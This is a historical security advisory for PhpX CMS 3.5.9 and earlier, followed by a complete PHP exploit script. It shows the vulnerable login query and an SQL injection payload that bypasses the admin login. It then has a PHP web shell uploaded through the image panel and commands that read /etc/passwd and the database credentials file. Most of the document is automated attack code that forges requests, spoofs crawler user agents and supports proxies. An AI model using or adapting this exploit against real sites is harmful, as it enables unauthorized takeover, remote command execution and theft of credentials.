PhpX <= 3.5.9 SQL Injection -> login bypass -> remote command/code execution software: site: http://www.phpx.org/ description: "PHPX is a constantly evolving and changing Content Management System (CMS)[..]" vulnerable code in auth.inc.php at lines 22-26: ... if (!isset($_POST[username])){ header("Location: login.php"); } $password = md5($_POST['password']); $username = strtolower($_POST['username']); $result = $core->db->query("select user_id from users where password = '$password' and lower(username) = '$username'"); $count = $core->db->num_rows($result); ... "username" argument is not properly sanitized before to be used in a query, so if magic_quotes_gpc is off you can bypass admin login check, poc: go to http://[target]/[path]/admin/ and submit username: 'or user_id=2/* password: [nothing] now you are admin, you can upload a cmd.php.menu file with this code inside: <?php system($_GET[cmd]); ?> file is renamed (like this: 11333717941--cmd.php.menu) but you can retrieve filename in uploaded file list panel, upload dir have usually CHMOD 777 as "recommended" by install script (mphhh...) and usually not .htaccess protected, so you can launch commands: http://[target]/[path]/files/11333717941--cmd.php.menu?cmd=cat%20/etc/passwd poc exploit: <?php # 19.17 28/09/2005 18.15 30/11/2005 # # # # -- PhpX_359_xpl.php # # # # PhpX <=3.5.9 SQL injection->login bypass->remote commands xctn exploit # # by rgod # # site: http://rgod.altervista.org # # # # usage: launch this script from Apache, fill requested fields, then go... # # # # Sun-Tzu: "The onrush of a conquering force is like the bursting of pent-up # # waters into a chasm a thousand fathoms deep" # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<html><head><title>PhpX <=3.5.9 SQL injection/remote commands xctn exploit </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> PhpX <=3.5.9 SQL injection/remote commands xctn exploit </p><p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank";> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com) </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /phpx/ or just / ) </span></p><p><input type="text" name="command"> <span class="Stile5"> * specify a command "cat ./../admin/includes/config.inc.php" to see database username & password (against Win: "type .\..\admin\includes\config. inc.php")</span> </p><p> <input type="text" name="port"> <span class="Stile5"> specify a port other than 80 ( default value ) </span></p> <p> <input type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit" value="go!"></p> </form> </td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$command=$_POST[command]; $proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); $SQL="'or user_id=2/*"; $SQL=urlencode($SQL); #STEP 1 -> Login Bypass... $data="username=".$SQL."&password=&login=yes"; $packet="POST ".$p."admin/index.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."admin/login.php?code=i\r\n";; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Googlebot/2.1 \r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); if (eregi("Location: index.php",$html)) {echo "Exploit succeeded...<br>";} else {die("Exploit failed...");} $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $COOKIE=$temp2[0]; echo '<br>Your cookie: '.htmlentities($COOKIE); #STEP 2 -> Shell upload... $data='-----------------------------7d5baf306c0 Content-Disposition: form-data; name="confirm" 1 -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file1"; filename="C:\suntzu.php.menu" Content-Type: text/plain <?php error_reporting(0);ini_set("max_execution_time",0);system($_GET[cmd]);?> -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file2"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file3"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file4"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file5"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="more" 0 -----------------------------7d5baf306c0--'; $packet="POST ".$p."admin/images.php?action=create HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."admin/images.php?action=create\r\n";; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d5baf306c0\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: IncyWincy data gatherer\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 3 -> Retrieve filename from file list... $packet="GET ".$p."admin/images.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."admin/images.php?action=create\r\n";; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Jakarta Commons-HttpClient/3.0-rcx\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode('suntzu.php.menu',$html); $i=count($temp)-1; $temp2=explode("/files/",$temp[$i-1]); $i=count($temp2)-1; $FILENAME=$temp2[$i].'suntzu.php.menu'; echo '<br>File has been renamed as: '.htmlentities($FILENAME); #STEP 4 -> Launch commands... $packet="GET ".$p."files/".$FILENAME."?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html)\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); } else {echo "Fill * required fields, optionally specify a proxy...";} ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/phpx_359_xpl.html
